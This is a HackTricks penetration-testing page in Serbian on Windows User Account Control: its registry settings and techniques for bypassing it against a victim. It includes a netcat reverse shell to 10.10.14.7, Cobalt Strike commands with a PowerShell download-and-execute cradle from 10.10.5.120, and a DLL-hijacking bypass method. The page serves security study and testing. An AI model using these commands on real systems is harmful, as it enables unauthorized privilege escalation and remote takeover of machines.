mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
213 lines
19 KiB
Markdown
213 lines
19 KiB
Markdown
# UAC - User Account Control
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
|
Dobijte pristup danas:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## UAC
|
|
|
|
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) je funkcija koja omogućava **zahtev za pristanak za povišene aktivnosti**. Aplikacije imaju različite `integritetne` nivoe, i program sa **visokim nivoom** može obavljati zadatke koji **potencijalno mogu ugroziti sistem**. Kada je UAC omogućen, aplikacije i zadaci uvek **se izvršavaju pod sigurnosnim kontekstom naloga koji nije administrator** osim ako administrator eksplicitno odobri tim aplikacijama/zadacima pristup nivou administratora da bi se izvršavali na sistemu. To je funkcija koja štiti administratore od nenamernih promena, ali se ne smatra sigurnosnom granicom.
|
|
|
|
Za više informacija o nivoima integriteta:
|
|
|
|
{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %}
|
|
[integrity-levels.md](../windows-local-privilege-escalation/integrity-levels.md)
|
|
{% endcontent-ref %}
|
|
|
|
Kada je UAC na snazi, administratoru je dodeljeno 2 tokena: standardni korisnički ključ, da obavlja redovne radnje kao običan nivo, i jedan sa administratorskim privilegijama.
|
|
|
|
Ova [stranica](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) detaljno opisuje kako UAC funkcioniše i uključuje proces prijavljivanja, korisničko iskustvo i arhitekturu UAC-a. Administratori mogu koristiti sigurnosne politike da konfigurišu kako UAC funkcioniše specifično za njihovu organizaciju na lokalnom nivou (koristeći secpol.msc), ili konfigurisati i distribuirati putem Group Policy Objects (GPO) u okruženju Active Directory domena. Različite postavke su detaljno opisane [ovde](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Postoje 10 postavki Group Policy-a koje se mogu postaviti za UAC. Sledeća tabela pruža dodatne detalje:
|
|
|
|
| Postavka Group Policy-a | Registry ključ | Podrazumevano podešavanje |
|
|
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
|
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Isključeno |
|
|
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Isključeno |
|
|
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Zahtev za pristanak za ne-Windows binarne datoteke |
|
|
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Zahtev za akreditive na sigurnom desktopu |
|
|
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Omogućeno (podrazumevano za kućnu) Isključeno (podrazumevano za preduzeće) |
|
|
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Isključeno |
|
|
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Omogućeno |
|
|
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Omogućeno |
|
|
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Omogućeno |
|
|
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Omogućeno |
|
|
### Teorija UAC Bypass-a
|
|
|
|
Neke programe **automatski podiže** ako **korisnik pripada** grupi **administratora**. Ovi binarni fajlovi imaju u svom _**Manifestu**_ opciju _**autoElevate**_ sa vrednošću _**True**_. Binarni fajl takođe mora biti **potpisan od strane Microsoft-a**.
|
|
|
|
Zatim, da bi se **zaobišao** **UAC** (podigao sa **srednjeg** nivoa integriteta na **visoki**) neki napadači koriste ovakve binarne fajlove da bi **izvršili proizvoljan kod** jer će biti izvršen iz **procesa visokog nivoa integriteta**.
|
|
|
|
Možete **proveriti** _**Manifest**_ binarnog fajla koristeći alat _**sigcheck.exe**_ iz Sysinternals-a. I možete **videti** nivo **integriteta** procesa koristeći _Process Explorer_ ili _Process Monitor_ (iz Sysinternals-a).
|
|
|
|
### Provera UAC-a
|
|
|
|
Da potvrdite da li je UAC omogućen uradite:
|
|
```
|
|
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
|
|
|
|
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
|
EnableLUA REG_DWORD 0x1
|
|
```
|
|
Ako je **`1`**, onda je UAC **aktiviran**, ako je **`0`** ili **ne postoji**, onda je UAC **neaktivan**.
|
|
|
|
Zatim proverite **koji nivo** je konfigurisan:
|
|
```
|
|
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
|
|
|
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
|
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
|
```
|
|
* Ako je **`0`** onda, UAC neće tražiti potvrdu (kao **onemogućeno**)
|
|
* Ako je **`1`** admin će biti **zatražen korisničko ime i lozinku** da izvrši binarni fajl sa visokim privilegijama (na Secure Desktop-u)
|
|
* Ako je **`2`** (**Uvek me obaveštavaj**) UAC će uvek tražiti potvrdu od administratora kada pokuša da izvrši nešto sa visokim privilegijama (na Secure Desktop-u)
|
|
* Ako je **`3`** kao `1` ali nije neophodno na Secure Desktop-u
|
|
* Ako je **`4`** kao `2` ali nije neophodno na Secure Desktop-u
|
|
* Ako je **`5`** (**podrazumevano**) tražiće potvrdu od administratora da pokrene ne-Windows binarne fajlove sa visokim privilegijama
|
|
|
|
Zatim, treba da pogledate vrednost **`LocalAccountTokenFilterPolicy`**\
|
|
Ako je vrednost **`0`**, tada samo korisnik sa **RID 500** (**ugrađeni Administrator**) može obavljati **administratorske zadatke bez UAC-a**, a ako je `1`, **svi nalozi unutar grupe "Administratori"** to mogu uraditi.
|
|
|
|
I, na kraju pogledajte vrednost ključa **`FilterAdministratorToken`**\
|
|
Ako je **`0`** (podrazumevano), **ugrađeni administratorski nalog može** obavljati zadatke udaljene administracije, a ako je **`1`** ugrađeni administratorski nalog **ne može** obavljati zadatke udaljene administracije, osim ako je `LocalAccountTokenFilterPolicy` postavljen na `1`.
|
|
|
|
#### Rezime
|
|
|
|
* Ako je `EnableLUA=0` ili **ne postoji**, **nema UAC-a za bilo koga**
|
|
* Ako je `EnableLua=1` i **`LocalAccountTokenFilterPolicy=1`, Nema UAC-a za bilo koga**
|
|
* Ako je `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=0`, Nema UAC-a za RID 500 (Ugrađeni Administrator)**
|
|
* Ako je `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=1`, UAC za sve**
|
|
|
|
Sve ove informacije mogu se prikupiti koristeći **metasploit** modul: `post/windows/gather/win_privs`
|
|
|
|
Takođe možete proveriti grupe vašeg korisnika i dobiti nivo integriteta:
|
|
```
|
|
net user %username%
|
|
whoami /groups | findstr Level
|
|
```
|
|
## UAC zaobilazak
|
|
|
|
{% hint style="info" %}
|
|
Imajte na umu da ako imate grafički pristup žrtvi, UAC zaobilazak je jednostavan jer jednostavno možete kliknuti na "Da" kada se pojavi UAC prozor.
|
|
{% endhint %}
|
|
|
|
UAC zaobilazak je potreban u sledećoj situaciji: **UAC je aktiviran, vaš proces se izvršava u kontekstu srednje integriteta, a vaš korisnik pripada grupi administratora**.
|
|
|
|
Važno je napomenuti da je **mnogo teže zaobići UAC ako je postavljen na najviši nivo sigurnosti (Uvek) nego ako je postavljen na bilo koji drugi nivo (Podrazumevano)**.
|
|
|
|
### UAC onemogućen
|
|
|
|
Ako je UAC već onemogućen (`ConsentPromptBehaviorAdmin` je **`0`**), možete **izvršiti reverzni shell sa administratorskim privilegijama** (visok nivo integriteta) koristeći nešto poput:
|
|
```bash
|
|
#Put your reverse shell instead of "calc.exe"
|
|
Start-Process powershell -Verb runAs "calc.exe"
|
|
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
|
|
```
|
|
#### UAC zaobilaženje sa duplikacijom tokena
|
|
|
|
* [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
|
* [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
|
|
|
### **Veoma** osnovno UAC "zaobilaženje" (potpisti pristup sistemu datoteka)
|
|
|
|
Ako imate shell sa korisnikom koji je unutar grupe Administratora, možete **montirati C$** deljeni putem SMB (sistem datoteka) lokalno na novi disk i imaćete **pristup svemu unutar sistema datoteka** (čak i fascikli Administratora).
|
|
|
|
{% hint style="warning" %}
|
|
**Izgleda da ovaj trik više ne funkcioniše**
|
|
{% endhint %}
|
|
```bash
|
|
net use Z: \\127.0.0.1\c$
|
|
cd C$
|
|
|
|
#Or you could just access it:
|
|
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
|
```
|
|
### UAC zaobilaženje pomoću Cobalt Strike-a
|
|
|
|
Tehnike Cobalt Strike-a će raditi samo ako UAC nije postavljen na maksimalni nivo sigurnosti
|
|
```bash
|
|
# UAC bypass via token duplication
|
|
elevate uac-token-duplication [listener_name]
|
|
# UAC bypass via service
|
|
elevate svc-exe [listener_name]
|
|
|
|
# Bypass UAC with Token Duplication
|
|
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
|
# Bypass UAC with CMSTPLUA COM interface
|
|
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
|
```
|
|
**Empire** i **Metasploit** takođe imaju nekoliko modula za **bypass** **UAC**-a.
|
|
|
|
### KRBUACBypass
|
|
|
|
Dokumentacija i alat na [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
|
|
|
### UAC bypass eksploatacije
|
|
|
|
[**UACME**](https://github.com/hfiref0x/UACME) koji je **kompilacija** nekoliko UAC bypass eksploatacija. Imajte na umu da će vam biti potrebno **kompajlirati UACME korišćenjem Visual Studija ili msbuild-a**. Kompilacija će kreirati nekoliko izvršnih datoteka (poput `Source\Akagi\outout\x64\Debug\Akagi.exe`), moraćete znati **koja vam je potrebna**.\
|
|
Trebalo bi da **budete oprezni** jer će neki bypass-ovi **pokrenuti neke druge programe** koji će **upozoriti** **korisnika** da se nešto dešava.
|
|
|
|
UACME ima **verziju izgradnje od koje je svaka tehnika počela da radi**. Možete pretražiti tehniku koja utiče na vaše verzije:
|
|
```
|
|
PS C:\> [environment]::OSVersion.Version
|
|
|
|
Major Minor Build Revision
|
|
----- ----- ----- --------
|
|
10 0 14393 0
|
|
```
|
|
### Više UAC zaobilazaka
|
|
|
|
**Sve** tehnike korišćene ovde za zaobilaženje UAC **zahtevaju** **potpuno interaktivnu ljusku** sa žrtvom (obična nc.exe ljuska nije dovoljna).
|
|
|
|
Možete dobiti korišćenjem **meterpreter** sesije. Migrirajte na **proces** koji ima vrednost **Session** jednaku **1**:
|
|
|
|
![](<../../.gitbook/assets/image (860).png>)
|
|
|
|
(_explorer.exe_ bi trebalo da radi)
|
|
|
|
### UAC zaobilaženje sa GUI
|
|
|
|
Ako imate pristup **GUI možete jednostavno prihvatiti UAC prozor** kada ga dobijete, zaista vam nije potreban zaobilazak. Dakle, pristup GUI-ju će vam omogućiti da zaobiđete UAC.
|
|
|
|
Osim toga, ako dobijete GUI sesiju koju je neko koristio (potencijalno putem RDP-a) postoje **neki alati koji će se izvršavati kao administrator** odakle biste mogli **pokrenuti** npr. **cmd** kao administratora direktno bez ponovnog dobijanja UAC prozora kao što je [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Ovo može biti malo **skrivenije**.
|
|
|
|
### Bučni brute-force UAC zaobilazak
|
|
|
|
Ako vam nije stalo do buke uvek možete **pokrenuti nešto poput** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) što **traži privilegije za podizanje dok korisnik ne prihvati**.
|
|
|
|
### Vaš sopstveni zaobilazak - Osnovna metodologija UAC zaobilaska
|
|
|
|
Ako pogledate **UACME** primetićete da **većina UAC zaobilazaka zloupotrebljava Dll Hijacking ranjivost** (uglavnom pisanjem zlonamernog dll-a na _C:\Windows\System32_). [Pročitajte ovo da biste naučili kako da pronađete Dll Hijacking ranjivost](../windows-local-privilege-escalation/dll-hijacking/).
|
|
|
|
1. Pronađite binarni fajl koji će **automatski podići privilegije** (proverite da kada se izvrši radi na visokom nivou integriteta).
|
|
2. Pomoću procmon-a pronađite "**NAME NOT FOUND**" događaje koji mogu biti ranjivi na **DLL Hijacking**.
|
|
3. Verovatno ćete morati da **napišete** DLL unutar nekih **zaštićenih putanja** (kao što je C:\Windows\System32) gde nemate dozvole za pisanje. To možete zaobići koristeći:
|
|
1. **wusa.exe**: Windows 7, 8 i 8.1. Omogućava izvlačenje sadržaja CAB fajla unutar zaštićenih putanja (jer se ovaj alat izvršava na visokom nivou integriteta).
|
|
2. **IFileOperation**: Windows 10.
|
|
4. Pripremite **skriptu** za kopiranje vašeg DLL-a unutar zaštićene putanje i izvršite ranjivi i automatski podignuti binarni fajl.
|
|
|
|
### Još jedna tehnika UAC zaobilaska
|
|
|
|
Sastoji se u praćenju da li **autoElevated binarni fajl** pokušava **čitati** iz **registra** ime/putanju **binarnog fajla** ili **komande** koja će biti **izvršena** (ovo je interesantnije ako binarni fajl traži ove informacije unutar **HKCU**).
|
|
|
|
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete tokove rada** pokretane najnaprednijim alatima zajednice.\
|
|
Pristupite danas:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|